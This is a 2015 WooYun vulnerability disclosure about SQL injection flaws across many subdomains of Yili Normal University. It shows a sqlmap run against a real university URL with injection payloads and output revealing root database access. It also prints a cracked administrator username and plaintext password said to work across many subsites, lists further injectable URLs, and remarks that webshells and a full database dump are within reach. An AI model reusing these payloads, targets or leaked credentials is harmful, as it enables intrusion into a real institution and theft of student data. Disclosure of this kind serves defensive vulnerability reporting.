当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107668

漏洞标题:伊犁师范学院几乎所有分站出现伪静态sql注入(已经打包) 不同网站拥有一个相同的管理员账号

相关厂商:伊犁师范学院

漏洞作者: SeaCream

提交时间:2015-04-15 17:55

修复时间:2015-04-20 17:56

公开时间:2015-04-20 17:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

伊犁师范学院 几乎大部分分站出现伪静态注入 另外一个是php注入 且几乎都是是root权限 可造成用户信息泄露 包含大量学生数据 另外管理员用相同密码登录不同网站 亦可造成大量安全威胁 有漏洞的网站已经打包(详见漏洞细节) 当然 由于时间关系 不可能全部包含
另外 花了这么多时间检测贵网站 怎么也要赞一个吧

详细说明:

首先 我们打开一个伊犁师范学院的分站http://xgc.ylsy.edu.cn
首先点到这种页面http://xgc.ylsy.edu.cn/news/html/?840.html

如果直接这样伪静态注入是会失败的 各位可以测试 我们需要把页面改成才可以注入 另外 当我们加单引号时 会直接爆出路径

l.png

http://xgc.ylsy.edu.cn/news/html/index.php?id=840
下面我们用sqlmap试试
root@Sea:/home/sea# sqlmap -u http://xgc.ylsy.edu.cn/news/html/index.php?id=840 --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:24:23
[21:24:23] [INFO] resuming back-end DBMS 'mysql'
[21:24:24] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=840' AND 4573=4573 AND 'eQOc'='eQOc
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=840' AND (SELECT 9824 FROM(SELECT COUNT(*),CONCAT(0x7163656771,(SELECT (CASE WHEN (9824=9824) THEN 1 ELSE 0 END)),0x7162707971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'yKhD'='yKhD
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=840' AND SLEEP(5) AND 'WBdL'='WBdL
---
[21:24:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.8
back-end DBMS: MySQL 5
[21:24:26] [INFO] fetching current user
[21:24:26] [INFO] resumed: root@localhost
current user: 'root@localhost'
[21:24:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xgc.ylsy.edu.cn'
[*] shutting down at 21:24:26
注意是root权限 有了root权限 有了路径 可以做什么不用我说了吧 经过查询 里面的数据库太多了 我们只取我们需要的 我们再看下全图

admin.png

pass.png


经解密 账号 admin 密码 xdy1277
ok我们登录后台

h.jpg


经检测 后台也不安全 如果是iis6的 (iis6以上也可以突破 但是我不会 可以去找大牛问问 ) 直接可以拿到webshell 另外下面所有网站都是这样的问题
相同的手法可以达到脱裤 拿shell的目的
http://fzxy.ylsy.edu.cn/news/html/index.php?id=546
http://xgc.ylsy.edu.cn/news/html/index.php?id=840
http://zsw.ylsy.edu.cn/news/html/index.php?id=426
http://zzb.ylsy.edu.cn/news/html/index.php?id=437
http://wyx.ylsy.edu.cn/news/html/index.php?id=464
http://sfgh.ylsy.edu.cn/news/html/index.php?id=463
http://smhd.ylsy.edu.cn/news/html/index.php?id=1016
关于admin xdy1277这个账户 可以在大量分站上登录 可能是管理员免得麻烦 可是这样也给了黑客更多的机会
http://nic.ylsy.edu.cn/index.php?mid=4 还有这个注入点 不是上面那种伪静态的 但是依然可以直接注入 同时没有隐藏后台
以上漏洞脱完整个学校的裤应该不是一件难事。。。

漏洞证明:

h.jpg

修复方案:

直接换一个安全的程序 同时管理员不应该图方便就用同一个密码登陆不同网站

版权声明:转载请注明来源 SeaCream@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-20 17:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无